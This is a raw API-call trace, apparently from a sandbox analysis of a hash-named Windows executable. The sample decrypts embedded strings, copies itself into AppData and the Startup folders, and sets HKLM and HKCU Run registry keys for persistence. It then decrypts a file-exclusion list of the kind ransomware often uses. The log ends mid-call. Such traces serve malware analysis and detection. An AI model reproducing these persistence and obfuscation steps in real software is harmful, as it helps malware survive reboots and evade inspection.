[0041.134] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8b4 | out: phkResult=0x1af8b4*=0xbc) returned 0x0 [0041.134] RegQueryValueExW (in: hKey=0xbc, lpValueName="Startup", lpReserved=0x0, lpType=0x1af8b0, lpData=0xab1680, lpcbData=0x1af8b8*=0x7a | out: lpType=0x1af8b0*=0x2, lpData=0xab1680*=0xa0, lpcbData=0x1af8b8*=0x98) returned 0xea [0041.134] RegCloseKey (hKey=0xbc) returned 0x0 [0041.134] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab17a0 | out: hHeap=0xab0000) returned 1 [0041.134] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1708 | out: hHeap=0xab0000) returned 1 [0041.135] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1680 | out: hHeap=0xab0000) returned 1 [0041.135] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab15f8, Size=0xf2) returned 0xab15f8 [0041.135] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xf2) returned 0xab4fa0 [0041.136] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab16f8 [0041.136] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af938 | out: phKey=0x1af938*=0x4cbfe8) returned 1 [0041.136] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af920, dwFlags=0x0) returned 1 [0041.136] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab16f8, pdwDataLen=0x1af8ec | out: pbData=0xab16f8, pdwDataLen=0x1af8ec) returned 1 [0041.136] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.136] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x10) returned 0xab1508 [0041.136] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8b4 | out: phkResult=0x1af8b4*=0xbc) returned 0x0 [0041.136] RegQueryValueExW (in: hKey=0xbc, lpValueName="Startup", lpReserved=0x0, lpType=0x1af8b0, lpData=0xab4fa0, lpcbData=0x1af8b8*=0xf2 | out: lpType=0x1af8b0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1af8b8*=0x98) returned 0x0 [0041.136] RegCloseKey (hKey=0xbc) returned 0x0 [0041.136] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.136] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1508 [0041.136] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8b4 | out: phkResult=0x1af8b4*=0xbc) returned 0x0 [0041.136] RegQueryValueExW (in: hKey=0xbc, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af8b0, lpData=0xab5038, lpcbData=0x1af8b8*=0x5a | out: lpType=0x1af8b0*=0x0, lpData=0xab5038*=0x0, lpcbData=0x1af8b8*=0x5a) returned 0x2 [0041.136] RegCloseKey (hKey=0xbc) returned 0x0 [0041.136] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8c8 | out: phkResult=0x1af8c8*=0xbc) returned 0x0 [0041.136] RegQueryValueExW (in: hKey=0xbc, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af8c4, lpData=0xab5038, lpcbData=0x1af8cc*=0x5a | out: lpType=0x1af8c4*=0x2, lpData=0xab5038*=0x0, lpcbData=0x1af8cc*=0x78) returned 0xea [0041.137] RegCloseKey (hKey=0xbc) returned 0x0 [0041.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab16f8 | out: hHeap=0xab0000) returned 1 [0041.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0041.137] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab15f8, Size=0x1e2) returned 0xab4fa0 [0041.137] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e2) returned 0xab5190 [0041.137] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab15f8 [0041.137] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af938 | out: phKey=0x1af938*=0x4cbfe8) returned 1 [0041.137] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af920, dwFlags=0x0) returned 1 [0041.137] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab15f8, pdwDataLen=0x1af8ec | out: pbData=0xab15f8, pdwDataLen=0x1af8ec) returned 1 [0041.137] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.137] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x10) returned 0xab1508 [0041.137] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8b4 | out: phkResult=0x1af8b4*=0xbc) returned 0x0 [0041.137] RegQueryValueExW (in: hKey=0xbc, lpValueName="Startup", lpReserved=0x0, lpType=0x1af8b0, lpData=0xab5190, lpcbData=0x1af8b8*=0x1e2 | out: lpType=0x1af8b0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1af8b8*=0x98) returned 0x0 [0041.138] RegCloseKey (hKey=0xbc) returned 0x0 [0041.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.138] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1508 [0041.138] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8b4 | out: phkResult=0x1af8b4*=0xbc) returned 0x0 [0041.138] RegQueryValueExW (in: hKey=0xbc, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af8b0, lpData=0xab5228, lpcbData=0x1af8b8*=0x14a | out: lpType=0x1af8b0*=0x0, lpData=0xab5228*=0x0, lpcbData=0x1af8b8*=0x14a) returned 0x2 [0041.138] RegCloseKey (hKey=0xbc) returned 0x0 [0041.138] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af8c8 | out: phkResult=0x1af8c8*=0xbc) returned 0x0 [0041.138] RegQueryValueExW (in: hKey=0xbc, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1af8c4, lpData=0xab5228, lpcbData=0x1af8cc*=0x14a | out: lpType=0x1af8c4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1af8cc*=0x78) returned 0x0 [0041.138] RegCloseKey (hKey=0xbc) returned 0x0 [0041.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab15f8 | out: hHeap=0xab0000) returned 1 [0041.138] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xab4fa0, nSize=0xf1 | out: lpDst="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8e [0041.139] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5190 | out: hHeap=0xab0000) returned 1 [0041.139] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab15b0 | out: hHeap=0xab0000) returned 1 [0041.139] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab5190 [0041.139] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab53a8 [0041.139] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab55c0 [0041.139] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab57d8 [0041.139] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xab5190, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0041.139] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab59f0 [0041.139] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xab59f0, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0041.139] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab59f0 | out: hHeap=0xab0000) returned 1 [0041.139] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab59f0 [0041.139] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xab59f0, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0041.139] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab59f0 | out: hHeap=0xab0000) returned 1 [0041.140] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=0) returned 1 [0041.147] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x1af9cc | out: phkResult=0x1af9cc*=0xc0) returned 0x0 [0041.148] RegSetValueExW (in: hKey=0xc0, lpValueName="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", cbData=0xca | out: lpData="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") returned 0x0 [0041.148] RegCloseKey (hKey=0xc0) returned 0x0 [0041.148] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x1af9b8 | out: phkResult=0x1af9b8*=0xc0) returned 0x0 [0041.148] RegSetValueExW (in: hKey=0xc0, lpValueName="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", cbData=0xca | out: lpData="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") returned 0x0 [0041.148] RegCloseKey (hKey=0xc0) returned 0x0 [0041.148] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x11e) returned 0xab15b0 [0041.148] GetLastError () returned 0x0 [0041.148] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=1) returned 0 [0041.149] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=1) returned 1 [0041.162] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab15b0 | out: hHeap=0xab0000) returned 1 [0041.162] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5190 | out: hHeap=0xab0000) returned 1 [0041.163] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab53a8 | out: hHeap=0xab0000) returned 1 [0041.163] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab55c0 | out: hHeap=0xab0000) returned 1 [0041.163] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab57d8 | out: hHeap=0xab0000) returned 1 [0041.164] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0041.164] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0041.165] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0041.165] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xc0) returned 0xab14a0 [0041.165] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af95c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af9c4 | out: phKey=0x1af9c4*=0x4cbfe8) returned 1 [0041.165] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af9ac, dwFlags=0x0) returned 1 [0041.165] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af978 | out: pbData=0xab14a0, pdwDataLen=0x1af978) returned 1 [0041.165] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.165] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xbd) returned 0xab1568 [0041.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb830e4, lpParameter=0xab1568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc [0041.173] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x0) returned 0x102 [0041.173] CloseHandle (hObject=0xbc) returned 1 [0041.173] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0041.174] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x60) returned 0xab14a0 [0041.174] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af968*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af9d0 | out: phKey=0x1af9d0*=0x4cbfe8) returned 1 [0041.174] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af9b8, dwFlags=0x0) returned 1 [0041.174] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af984 | out: pbData=0xab14a0, pdwDataLen=0x1af984) returned 1 [0041.174] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.174] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x5c) returned 0xab1630 [0041.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb830e4, lpParameter=0xab1630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc [0041.176] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1388) returned 0x102 [0049.740] CloseHandle (hObject=0xbc) returned 1 [0049.741] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0049.742] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1748 [0049.742] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af998 | out: phKey=0x1af998*=0x4cbfe8) returned 1 [0049.742] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af980, dwFlags=0x0) returned 1 [0049.744] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1748, pdwDataLen=0x1af94c | out: pbData=0xab1748, pdwDataLen=0x1af94c) returned 1 [0049.744] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.744] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1770 [0049.744] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1798 [0049.744] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab14a0 [0049.744] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af908*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af970 | out: phKey=0x1af970*=0x4cbfe8) returned 1 [0049.744] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af958, dwFlags=0x0) returned 1 [0049.744] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af924 | out: pbData=0xab14a0, pdwDataLen=0x1af924) returned 1 [0049.744] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.744] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0049.744] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab1770, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.744] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1798 | out: hHeap=0xab0000) returned 1 [0049.745] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0049.745] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af9d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af9d8*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.745] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1770 | out: hHeap=0xab0000) returned 1 [0049.745] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab1748 [0049.745] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab1778 [0049.745] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af914*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af97c | out: phKey=0x1af97c*=0x4cbfe8) returned 1 [0049.745] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af964, dwFlags=0x0) returned 1 [0049.745] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1778, pdwDataLen=0x1af930 | out: pbData=0xab1778, pdwDataLen=0x1af930) returned 1 [0049.745] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.745] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x60) returned 0xab14a0 [0049.745] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af90c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af974 | out: phKey=0x1af974*=0x4cbfe8) returned 1 [0049.745] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af95c, dwFlags=0x0) returned 1 [0049.746] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af928 | out: pbData=0xab14a0, pdwDataLen=0x1af928) returned 1 [0049.746] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x5c) returned 0xab4fa0 [0049.746] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab4fa0, Size=0xb6) returned 0xab4fa0 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab1790 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xb40) returned 0xab5060 [0049.746] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8dc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af944 | out: phKey=0x1af944*=0x4cbfe8) returned 1 [0049.746] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af92c, dwFlags=0x0) returned 1 [0049.746] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5060, pdwDataLen=0x1af8f8 | out: pbData=0xab5060, pdwDataLen=0x1af8f8) returned 1 [0049.746] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x250) returned 0xab5ba8 [0049.746] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af93c | out: phKey=0x1af93c*=0x4cbfe8) returned 1 [0049.746] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af924, dwFlags=0x0) returned 1 [0049.746] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5ba8, pdwDataLen=0x1af8f0 | out: pbData=0xab5ba8, pdwDataLen=0x1af8f0) returned 1 [0049.746] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5e00 [0049.746] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8ac*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af914 | out: phKey=0x1af914*=0x4cbfe8) returned 1 [0049.746] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8fc, dwFlags=0x0) returned 1 [0049.746] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5e00, pdwDataLen=0x1af8c8 | out: pbData=0xab5e00, pdwDataLen=0x1af8c8) returned 1 [0049.746] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x84) returned 0xab5e98 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x84) returned 0xab5f28 [0049.746] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5fb8 [0049.746] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af884*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af8ec | out: phKey=0x1af8ec*=0x4cbfe8) returned 1 [0049.746] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8d4, dwFlags=0x0) returned 1 [0049.747] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5fb8, pdwDataLen=0x1af8a0 | out: pbData=0xab5fb8, pdwDataLen=0x1af8a0) returned 1 [0049.747] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.747] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fb8 | out: hHeap=0xab0000) returned 1 [0049.747] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xab5e98, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0049.748] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f28 | out: hHeap=0xab0000) returned 1 [0049.748] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5e00 | out: hHeap=0xab0000) returned 1 [0049.748] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0049.748] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af910 | out: phKey=0x1af910*=0x4cbfe8) returned 1 [0049.748] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8f8, dwFlags=0x0) returned 1 [0049.748] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0x1af8c4 | out: pbData=0xab1508, pdwDataLen=0x1af8c4) returned 1 [0049.748] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.748] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x18) returned 0xab1530 [0049.748] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x18) returned 0xab5e00 [0049.748] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5f28 [0049.748] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af880*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af8e8 | out: phKey=0x1af8e8*=0x4cbfe8) returned 1 [0049.748] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8d0, dwFlags=0x0) returned 1 [0049.748] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5f28, pdwDataLen=0x1af89c | out: pbData=0xab5f28, pdwDataLen=0x1af89c) returned 1 [0049.748] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.749] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f28 | out: hHeap=0xab0000) returned 1 [0049.749] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xab1530, nSize=0xc | out: 